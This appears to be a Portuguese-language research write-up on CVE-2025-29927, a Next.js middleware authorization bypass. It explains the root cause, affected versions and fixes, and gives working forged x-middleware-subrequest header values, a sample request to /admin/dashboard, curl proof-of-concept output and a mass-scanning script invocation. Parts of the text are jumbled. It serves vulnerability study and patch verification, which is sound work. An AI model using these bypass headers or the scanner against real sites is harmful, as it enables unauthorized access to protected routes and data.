
Análise aprofundada e PoC para CVE-2025-29927, um bypass de autorização do middleware do Next.js via o cabeçalho x-middleware-subrequest. Inclui templates Nuclei e um script de varredura em massa para testes.
Neste documento é apresentada a pesquisa sobre a vulnerabilidade CVE-2025-29927, que afeta o mecanismo Middleware no framework Next.js.
Next.js é um framework open-source popular da Vercel para desenvolvimento de aplicações baseadas em React. Ele suporta renderização no servidor, geração estática e um sistema flexível de middleware, utilizado para roteamento, redirecionamentos, cabeçalhos de segurança e verificação de direitos de acesso.
Em março de 2025, foi identificada uma vulnerabilidade crítica CVE-2025-29927, relacionada ao processamento de um cabeçalho interno de sub-requisições.
A essência do problema é a possibilidade de contornar verificações de autorização em aplicações onde o controle de acesso é implementado exclusivamente no middleware, através da inserção de um valor específico no cabeçalho HTTP x-middleware-subrequest. Se a segurança depende apenas do middleware, um atacante pode obter acesso a rotas ou dados restritos.
Versões afetadas do Next.js e correções (de acordo com fontes públicas e materiais oficiais):
As correções estão disponíveis nos lançamentos 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
Next.js é amplamente utilizado em produção; uma vulnerabilidade que atinge a camada de middleware (frequentemente usada para autenticação/autorização e políticas de segurança) representa um alto risco prático.
Analisar passo a passo a vulnerabilidade e documentar o ciclo completo de pesquisa:
Coleta e estruturação de materiais.
Sistematizar fontes públicas sobre a CVE-2025-29927; apresentar a essência do defeito, condições de disparo e versões/patches confirmados.
Determinação de CPE e condições de configuração.
Listar CPE/versões e descrever as configurações nas quais a vulnerabilidade é reproduzível (por exemplo, implantação self-hosted e autorização a nível de middleware).
Demonstração segura.
Preparar uma demonstração reproduzível em ambiente de teste (sem ações destrutivas), confirmando a bypass do middleware em versões vulneráveis.
Metodologias de verificação em massa.
Descrever e implementar três abordagens seguras:

Causa raiz. No Next.js, o cabeçalho interno x-middleware-subrequest é usado para rastrear sub-requisições internas e evitar recursão no middleware. Em branches vulneráveis, clientes externos podem inserir esse cabeçalho com um valor "esperado" — e o runtime pula a execução do middleware, passando a requisição diretamente ao manipulador da rota.
Papel do cabeçalho. O cabeçalho x-middleware-subrequest foi originalmente concebido como um indicador interno de que a requisição HTTP atual foi iniciada pelo próprio framework como uma sub-requisição intermediária, e não veio diretamente do usuário.
Ele é necessário para o funcionamento correto dos mecanismos internos do Next.js: além do roteamento, essa flag ajuda a evitar recursão infinita, "marcando" cada camada intermediária invocada.
Mas é exatamente essa lógica que criou uma brecha não intencional na segurança: um cliente que adicione esse cabeçalho por conta própria pode fazer o sistema tratar sua requisição como interna e assim contornar as verificações de autorização.
Evolução da lógica.
Os registros atuais do NVD indicam o produto Vercel Next.js com o software alvo node.js. Para os branches vulneráveis, as seguintes configurações são aplicadas (faixas de versão definidas ao nível das configurações CPE no NVD):
| CPE URI | Faixa de versão vulnerável |
|---|---|
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 11.1.4 ≤ v < 12.3.5 |
Nota: na descrição da CVE também é indicado que, em geral, "a partir de 11.1.4 até 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3" a vulnerabilidade é reproduzível se as condições abaixo forem atendidas.
next start, compilação com output: 'standalone') ou qualquer ambiente onde o middleware é executado em requisições de entrada sem filtragem perimetral de cabeçalhos internos.x-middleware-subrequest (por exemplo, regras de WAF).x-middleware-subrequestPara evitar recursão infinita do código intermediário, o runtime forma e lê o cabeçalho interno:
: — obtendo um array de "sub-requisições".NextResponse.next()),x-middleware-subrequest-id), vinculado à sessão atual do processo; se não coincidir, o x-middleware-subrequest de entrada é limpo no lado do servidor.O atacante envia uma requisição HTTP para a aplicação Next.js alvo, adicionando o cabeçalho interno x-middleware-subrequest.
No valor, especifica o caminho para o arquivo de middleware — por exemplo pages/_middleware, middleware ou src/middleware.
O valor necessário depende da versão do Next.js e da estrutura do projeto.
Quando essa requisição chega à aplicação, a lógica interna do framework a interpreta como uma sub-requisição interna e assume que a camada intermediária já foi executada.
Como resultado, as verificações de autenticação e autorização que normalmente ocorrem no middleware são efetivamente ignoradas.
Importante: este material é fornecido exclusivamente para verificação do patch e modelagem de risco em ambiente de teste fechado.
Qualquer verificação em infraestrutura de produção só é possível com autorização do proprietário dos recursos.
O Next.js usa o cabeçalho interno x-middleware-subrequest para marcar sub-requisições internas e prevenir a execução recursiva do middleware.
Ao processar a requisição, o valor do cabeçalho é dividido pelo caractere : e comparado com o nome do middleware atual.
Nas versões mais novas, foi adicionado um limite de profundidade (MAX_RECURSION_DEPTH, geralmente 5).
Se a condição (correspondência de nome ou atingimento do limite) for atendida, o Next.js pula o middleware e passa a requisição adiante.
O atacante pode formar um valor de cabeçalho correto, simulando uma sub-requisição interna.
_middleware.*_middleware.js/ts e localizados no diretório pages/.x-middleware-subrequest: pages/_middlewaremiddleware.* raizmiddleware.js/ts./src.x-middleware-subrequest: middleware ou x-middleware-subrequest: src/middleware:, e se o número de repetições do nome do middleware for ≥ 5,NextResponse.next().x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware ou x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middlewareNos lançamentos 15.x, os desenvolvedores reformularam a lógica para evitar chamadas recursivas infinitas.
Quando o middleware é acionado em uma rota (por exemplo, /api/*), o Next.js obtém uma URL diferente que também aciona o mesmo middleware.
O framework conta o número de acionamentos através do cabeçalho x-middleware-subrequest.
Se o número de chamadas atingir o limite configurado (MAX_RECURSION_DEPTH, padrão 5), as chamadas subsequentes do middleware são bloqueadas.
O atacante pode explorar esse comportamento, pré-especificando no cabeçalho um valor com o número necessário de repetições, atingindo artificialmente o limite de profundidade — como resultado, o middleware é completamente ignorado.
Para branches antigos, o valor do cabeçalho é escolhido de acordo com as opções acima
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest foi concebido como um mecanismo interno de proteção contra recursão infinita.
Mas nas versões vulneráveis não havia filtragem de requisições externas: o cliente podia forjar o cabeçalho,
satisfazer a condição de bypass (correspondência de nome ou atingimento do limite de profundidade)
e acessar diretamente o manipulador da rota protegida.
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev
Teste:
(exemplo baseado em Next.js 15.2.2; para outros branches, escolha o valor do cabeçalho conforme tabela na seção PoC)
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5
x-middleware-subrequest a nível de WAF/proxy.X-Middleware-Subrequest especialmente formatado.
⚠️ Atenção: o template destina-se apenas a testes em alvos próprios ou autorizados. O uso em serviços de terceiros sem consentimento dos proprietários é ilegal.
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 13.0.0 ≤ v < 13.5.9 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 14.0.0 ≤ v < 14.2.25 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 15.0.0 ≤ v < 15.2.3 |